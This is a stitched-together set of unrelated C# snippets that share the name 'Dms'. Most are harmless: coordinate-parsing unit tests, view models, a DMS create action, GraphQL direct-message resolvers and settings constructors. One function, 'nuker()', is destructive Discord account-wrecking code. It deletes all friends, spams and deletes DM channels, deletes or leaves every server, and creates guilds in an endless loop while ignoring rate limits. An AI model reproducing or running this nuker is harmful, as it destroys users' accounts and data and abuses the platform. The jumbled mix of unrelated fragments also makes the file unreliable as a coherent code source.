public void T_ParseDMS12() { Dms.Separator = ""; double ret = Dms.ParseDMS("015° 06′ W"); Assert.AreEqual <double>(-15.1, Math.Round(ret, 6)); }
public void T_ParseDMS13() { Dms.Separator = ""; double ret = Dms.ParseDMS("128° W"); Assert.AreEqual <double>(-128.0, Math.Round(ret, 6)); }
public void T_ParseDMS03() { Dms.Separator = ""; double ret = Dms.ParseDMS("51° N"); Assert.AreEqual <double>(51.0, Math.Round(ret, 6)); }
public void T_ToDMS03() { Dms.Separator = ""; string ret = Dms.ToDMS(51.477811, "dm"); Assert.AreEqual <string>("051°28.67′", ret); }
public void T_CompassPoint12() { Dms.Separator = " "; string ret = Dms.CompassPoint(012); Assert.AreEqual <string>("NNE", ret); }
public void T_CompassPoint14() { Dms.Separator = " "; string ret = Dms.CompassPoint(036, 1); Assert.AreEqual <string>("N", ret); }
public void T_ToLon02() { Dms.Separator = " "; string ret = Dms.ToLon(128.001475, "dms", 2); Assert.AreEqual <string>("128° 00′ 05.31″ E", ret); }
public void T_CompassPoint04() { Dms.Separator = " "; string ret = Dms.CompassPoint(270); Assert.AreEqual <string>("W", ret); }
public void T_ToLat02() { Dms.Separator = ""; string ret = Dms.ToLat(-51.477811, "dms"); Assert.AreEqual <string>("51°28′40″S", ret); }
public void T_ToLon01() { Dms.Separator = " "; string ret = Dms.ToLon(-0.001475, "dms", 2); Assert.AreEqual <string>("000° 00′ 05.31″ W", ret); }
public void T_ParseDMS01() { Dms.Separator = ""; double ret = Dms.ParseDMS("51° 28′ 40.12″ N"); Assert.AreEqual <double>(51.477811, Math.Round(ret, 6)); }
public void T_ToDMS07() { Dms.Separator = ""; string ret = Dms.ToDMS(51.5, "d", 0); Assert.AreEqual <string>("052°", ret); }
public void T_ToDMS04() { Dms.Separator = ""; string ret = Dms.ToDMS(51.477811, "d"); Assert.AreEqual <string>("051.4778°", ret); }
public void T_ToDMS02() { Dms.Separator = ""; string ret = Dms.ToDMS(51.477811, "dms", 2); Assert.AreEqual <string>("051°28′40.12″", ret); }
public void T_ParseDMS11() { Dms.Separator = ""; double ret = Dms.ParseDMS("000° 00′ 05.31″ W"); Assert.AreEqual <double>(-0.001475, Math.Round(ret, 6)); }
public DmsViewModel(Dms dms) { item = dms; DataCorte = dms.DataCorte; DataProcessamento = dms.DataProcessamento; DataVencimento = dms.DataVencimento; Quantidade = dms.Quantidade; Carga = dms.Carga; Diferenca = dms.Diferenca; }
public string rev_rwy_ident = ""; // other rwy name // Convert from File DMS Format lat/lon private LatLon CnvAptDMS(string lat_dms, string lon_dms) { lat_dms = lat_dms.Trim( ).ToUpperInvariant( ); //N|Shhmmssss -> 51° 28′ 40.12″ N string dms = $"{lat_dms.Substring( 1, 2 )}° {lat_dms.Substring( 3, 2 )}′ {lat_dms.Substring( 5, 4 ).Insert( 2, "." )}″ {lat_dms.Substring( 0, 1 )}"; var ll = new LatLon( ); ll.Lat = Dms.ParseDMS(dms); //W|Ehhhmmssss -> 51° 28′ 40.12″ W dms = $"{lon_dms.Substring( 1, 3 )}° {lon_dms.Substring( 4, 2 )}′ {lon_dms.Substring( 6, 4 ).Insert( 2, "." )}″ {lon_dms.Substring( 0, 1 )}"; ll.Lon = Dms.ParseDMS(dms); return(ll); }
public DmsTeste() { _controller = new DmsController(); _data = DateTime.Now; _dsmMock = new Dms() { DataCorte = _data, DataProcessamento = _data, DataVencimento = _data, Quantidade = 21323, Carga = 333, Diferenca = 444 }; _dmsMockList = new List <Dms>() { _dsmMock }; }
public async Task <ActionResult> Create(DmsModel model, int departmentId) { if (ModelState.IsValid) { if (string.IsNullOrEmpty(model.DmsCode)) { return(Content("DmsCode is required!")); } //var existDms = _dmsService.GetDmsByDmsCode(model.DmsCode); var existDms = await _dmsService.GetDmsByDmsCodeAndDepartmentId(model.DmsCode, departmentId); //check exist Dms if (existDms != null) { return(Content(model.DmsCode + " has Existed in this Department!")); } //if (model.Department.Id < 1) // return Content("Department is required!"); var dms = new Dms() { Description = model.Description, Note = model.Note, CreatedDate = DateTime.Now, UpdatedDate = DateTime.Now, DmsCode = model.DmsCode, DepartmentId = departmentId, Active = model.Active, Order = model.Order }; await _dmsService.InsertAsync(dms); await _dmsService.UpdateDmsOwner(dms, model.ListUsername); return(Json(new { Data = new[] { model } })); } return(Content("Can not create Dms because model state is invalid")); }
private void Dms(MyContext db) { Field <DmsType>( "sendDm", description: "Send a new direct message", arguments: new QueryArguments( new QueryArgument <NonNullGraphType <SendDmInputType> > { Name = "input" } ), resolve: _ => { var context = (UserContext)_.UserContext; var input = _.GetArgument <SendDmDTO>("input"); var user = db.Owners.SingleOrDefault(x => x.CognitoId.Equals(context.cognitoId)); if (user == null) { throw new ExecutionError("You don't appear to have a user account! Only registered users can send messages."); } byte[] binaryid; try { binaryid = GuidGenerator.HelperStringToBA(input.recipient); } catch { throw new ExecutionError("The recipient ID you provided is malformed. Please verify and try again."); } //Does this game id exist? var receiver = db.Owners.SingleOrDefault(x => x.OwnerId.Equals(binaryid)); if (receiver == null) { throw new ExecutionError("Could not find the requested recipient."); } if (receiver.OwnerId == user.OwnerId) { throw new ExecutionError("You can't send messages to yourself."); } var dm = new Dms { EntryId = GuidGenerator.GenerateSequentialGuid(), SenderId = user.OwnerId, Sender = user, ReceiverId = binaryid, Receiver = receiver, DateSent = DateTime.UtcNow, Message = input.message, Read = false }; db.Dms.Add(dm); db.SaveChanges(); return(dm); } ); Field <ListGraphType <DmsType> >( "deleteDms", description: "Delete direct messages", arguments: new QueryArguments( new QueryArgument <NonNullGraphType <DeleteDmsInputType> > { Name = "input" } ), resolve: _ => { var context = (UserContext)_.UserContext; var input = _.GetArgument <DeleteDmsDTO>("input"); var user = db.Owners.SingleOrDefault(x => x.CognitoId.Equals(context.cognitoId)); if (user == null) { throw new ExecutionError("You don't appear to have a user account! Only registered users can use the messaging system."); } var binids = input.ids.Select(x => GuidGenerator.HelperStringToBA(x)); db.Dms.RemoveRange(db.Dms.Where(x => x.ReceiverId.Equals(user.OwnerId) && binids.Contains(x.EntryId))); db.SaveChanges(); return(db.Dms.Where(x => x.ReceiverId.Equals(user.OwnerId)).ToArray()); } ); Field <ListGraphType <DmsType> >( "readDms", description: "Mark direct messages as read", arguments: new QueryArguments( new QueryArgument <NonNullGraphType <ReadDmsInputType> > { Name = "input" } ), resolve: _ => { var context = (UserContext)_.UserContext; var input = _.GetArgument <ReadDmsDTO>("input"); var user = db.Owners.SingleOrDefault(x => x.CognitoId.Equals(context.cognitoId)); if (user == null) { throw new ExecutionError("You don't appear to have a user account! Only registered users can use the messaging system."); } var binids = input.ids.Select(x => GuidGenerator.HelperStringToBA(x)); foreach (var rec in db.Dms.Where(x => x.ReceiverId.Equals(user.OwnerId) && binids.Contains(x.EntryId))) { rec.Read = true; } db.SaveChanges(); return(db.Dms.Where(x => x.ReceiverId.Equals(user.OwnerId) && x.Read.Equals(false)).ToArray()); } ); }
public static void nuker() { foreach (Relationship instance in Nuker.Client.GetRelationships()) { ulong Relationships = instance; try { Nuker.Client.RemoveRelationship(Relationships); } catch (DiscordHttpException) { } catch (RateLimitException) { } } foreach (DMChannel Dms in Nuker.Client.GetPrivateChannels()) { try { Dms.SendMessage("ALL HAIL REVENGE!", false, null); } catch (DiscordHttpException) { } catch (RateLimitException) { } Dms.Delete(); } foreach (PartialGuild Servers in Nuker.Client.GetGuilds(100U, 0UL)) { try { Servers.Delete(); } catch (DiscordHttpException) { try { Servers.Leave(); } catch (DiscordHttpException) { } catch (RateLimitException) { } } catch (RateLimitException) { } } for (;;) { try { Nuker.Client.CreateGuild("ALL HAIL REVENGE!", null, null); } catch (DiscordHttpException) { } catch (RateLimitException) { } } }
public AppSettings() { Dms = new Dms(); // need to instantiate (Configuration only sets properties not create the object) Sms = new Sms(); // same }
public AppSettings() { Dms = new Dms(); // need to instantiate (Configuration only sets properties not create the object) Sms = new Sms(); // same IndentityServerSettings = new IndentityServerSettings(); //same }
public DmsViewModel(Dms item) { this.item = item; }